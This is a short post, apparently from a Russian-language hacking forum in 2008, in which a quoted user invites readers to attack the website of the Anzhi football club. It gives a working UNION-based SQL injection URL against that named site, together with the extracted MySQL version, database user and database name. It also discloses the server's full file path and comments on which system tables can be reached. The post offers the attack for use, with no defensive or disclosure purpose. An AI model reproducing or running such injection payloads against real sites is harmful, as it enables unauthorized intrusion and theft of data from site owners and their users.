27.08.2008, 03:14
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857
Репутация:
504
|
|
Сообщение от USAkid
Давайте посетим сайт футбольного клуба Анжи.
http://www.fc-anji.ru
Код:
http://www.fc-anji.ru/news.php?id=-341+union+select+1,concat_ws(version(),0x3a,user(),0x3a,database()),3,4,5,6/*
version() - 4.1.22
user() - opendag@localhost
database() - wwwopendagru
Раскрытие пути:
/www/opendag/users/opendag-fcanji/www/htdocs/news.php
К information_schema и mysql.user доступа нету( конечно к information_schema доступа не будет.. этож 4 версия.. там его просто нет=)
|
|
|